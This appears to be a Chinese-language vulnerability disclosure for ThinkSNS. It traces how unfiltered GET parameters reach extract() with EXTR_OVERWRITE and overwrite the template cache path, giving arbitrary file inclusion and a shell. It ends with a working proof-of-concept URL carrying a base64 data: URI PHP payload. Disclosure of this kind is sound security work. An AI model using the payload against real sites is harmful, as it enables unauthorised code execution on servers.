### 简要描述:
ThinkSNS某处处理不当导致get shell
### 详细说明:
\apps\public\Lib\Action\CommentAction.class.php reply函数
```
public function reply() {
$var = $_GET;
$var['initNums'] = model('Xdata')->getConfig('weibo_nums', 'feed');
$var['commentInfo'] = model('Comment')->getCommentInfo($var['comment_id'], false);
$var['canrepost'] = $var['commentInfo']['table'] == 'feed' ? 1 : 0;
$var['cancomment'] = 1;
// 获取原作者信息
$rowData = model('Feed')->get(intval($var['commentInfo']['row_id']));
$appRowData = model('Feed')->get($rowData['app_row_id']);
$var['user_info'] = $appRowData['user_info'];
// 微博类型
$var['feedtype'] = $rowData['type'];
// $var['cancomment_old'] = ($var['commentInfo']['uid'] != $var['commentInfo']['app_uid'] && $var['commentInfo']['app_uid'] != $this->uid) ? 1 : 0;
$var['initHtml'] = L('PUBLIC_STREAM_REPLY').'@'.$var['commentInfo']['user_info']['uname'].' :'; // 回复
$this->assign($var);
$this->display();
}
```
不管中间过程,$var被赋值被$_GET,并在最后进入了assign函数
\core\OpenSociax\Action.class.php assign
```
public function assign($name,$value='') {
if(is_array($name)) {
$this->tVar = array_merge($this->tVar,$name);
}elseif(is_object($name)){
foreach($name as $key =>$val)
$this->tVar[$key] = $val;
}else {
$this->tVar[$name] = $value;
}
}
```
assign其实就是给模板变量赋值,也就是说我们的$_GET最后进入了模板变量中。
然后回到一开始的reply函数,可以看到在最后调用了display:
\core\OpenSociax\functions.inc.php display函数
```
// 输出模版
function display($templateFile='',$tvar=array(),$charset='UTF8',$contentType='text/html') {
fetch($templateFile,$tvar,$charset,$contentType,true);
}
```
fetch找到相应的模板并和我们提交的变量结合编译之:
\core\OpenSociax\Action.class.php fetch函数
```
protected function fetch($templateFile='',$charset='utf-8',$contentType='text/html',$display=false) {
$this->assign('appCssList',$this->appCssList);
$this->assign('langJsList', $this->langJsList);
Addons::hook('core_display_tpl', array('tpl'=>$templateFile,'vars'=>$this->tVar,'charset'=>$charset,'contentType'=>$contentType,'display'=>$display));
return fetch($templateFile, $this->tVar, $charset, $contentType, $display);
}
```
把请求转发给真正的fetch函数:
\core\OpenSociax\functions.inc.php
```
function fetch($templateFile='',$tvar=array(),$charset='utf-8',$contentType='text/html',$display=false) {
//注入全局变量ts
global $ts;
$tvar['ts'] = $ts;
//$GLOBALS['_viewStartTime'] = microtime(TRUE);
if(null===$templateFile)
// 使用null参数作为模版名直接返回不做任何输出
return ;
if(empty($charset)) $charset = C('DEFAULT_CHARSET');
// 网页字符编码
header("Content-Type:".$contentType."; charset=".$charset);
header("Cache-control: private"); //支持页面回跳
//页面缓存
ob_start();
ob_implicit_flush(0);
// 模版名为空.
if(''==$templateFile){
$templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.ACTION_NAME.'.html';
// 模版名为ACTION_NAME
}elseif(file_exists(APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html')) {
$templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html';
// 模版是绝对路径
}elseif(file_exists($templateFile)){
// 模版不存在
}else{
throw_exception(L('_TEMPLATE_NOT_EXIST_').'['.$templateFile.']');
}
//模版缓存文件
$templateCacheFile = C('TMPL_CACHE_PATH').'/'.APP_NAME.'_'.tsmd5($templateFile).'.php';
//载入模版缓存
if(!$ts['_debug'] && file_exists($templateCacheFile)) {
//if(1==2){ //TODO 开发
extract($tvar, EXTR_OVERWRITE); //exploit!
//var_dump($_SESSION);
//载入模版缓存文件
include $templateCacheFile; //getshell here!
//重新编译
}else{
tshook('tpl_compile',array('templateFile',$templateFile));
// 缓存无效 重新编译
tsload(CORE_LIB_PATH.'/Template.class.php');
tsload(CORE_LIB_PATH.'/TagLib.class.php');
tsload(CORE_LIB_PATH.'/TagLib/TagLibCx.class.php');
$tpl = Template::getInstance();
// 编译并加载模板文件
$tpl->load($templateFile,$tvar,$charset);//getshell here!
}
... ...
}
```
分析下这个函数的逻辑:
首先判断模板文件是否存在,不存在则尝试加载默认模板文件,如果加载失败就异常退出
其次如果模板文件存在,那么该文件是否缓存过,如果缓存过,那么直接include缓存文件,在include前使用extract对模板变量赋值
如果模板没有缓存,是第一次被调用,那么就编译模板文件并加载它
在使用缓存的时候程序用extract对变量进行赋值,可以看到第二个参数,EXTR_OVERWIRTE,表示如果某变量已经存在,那么就覆盖这个变量。
下面看看非缓存情况下的处理:
\core\OpenSociax\Template.class.php load函数
```
// 加载模板
public function load($templateFile,$templateVar,$charset) {
$this->tVar = $templateVar;
$templateCacheFile = $this->loadTemplate($templateFile);
// 模板阵列变量分解成为独立变量
extract($templateVar, EXTR_OVERWRITE);
//载入模版缓存文件
include $templateCacheFile;
}
```
与缓存情况下相同,也是调用extract来覆盖变量,由于第二个参数的使用,因此如果模板变量可控的话,我们可以覆盖任意变量。
可以覆盖$templateCacheFile变量,这样变量覆盖就变成了任意文件包含,并可getshell.
### 漏洞证明:
上传一个jpg,然后include之:
[<img src="https://images.seebug.org/upload/201311/242140461ed8c5ee747e58e23f01f89ecc444651.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201311/242140461ed8c5ee747e58e23f01f89ecc444651.jpg)
在allow_url_include为on下可以这样getshell:
```
http://www.evil.com/thinksns/index.php?app=public&mod=Comment&act=reply&templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
```
[<img src="https://images.seebug.org/upload/201311/2421363402af361e446f17b219eb8e014c9758c8.jpg" alt="getshell.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201311/2421363402af361e446f17b219eb8e014c9758c8.jpg)
暂无评论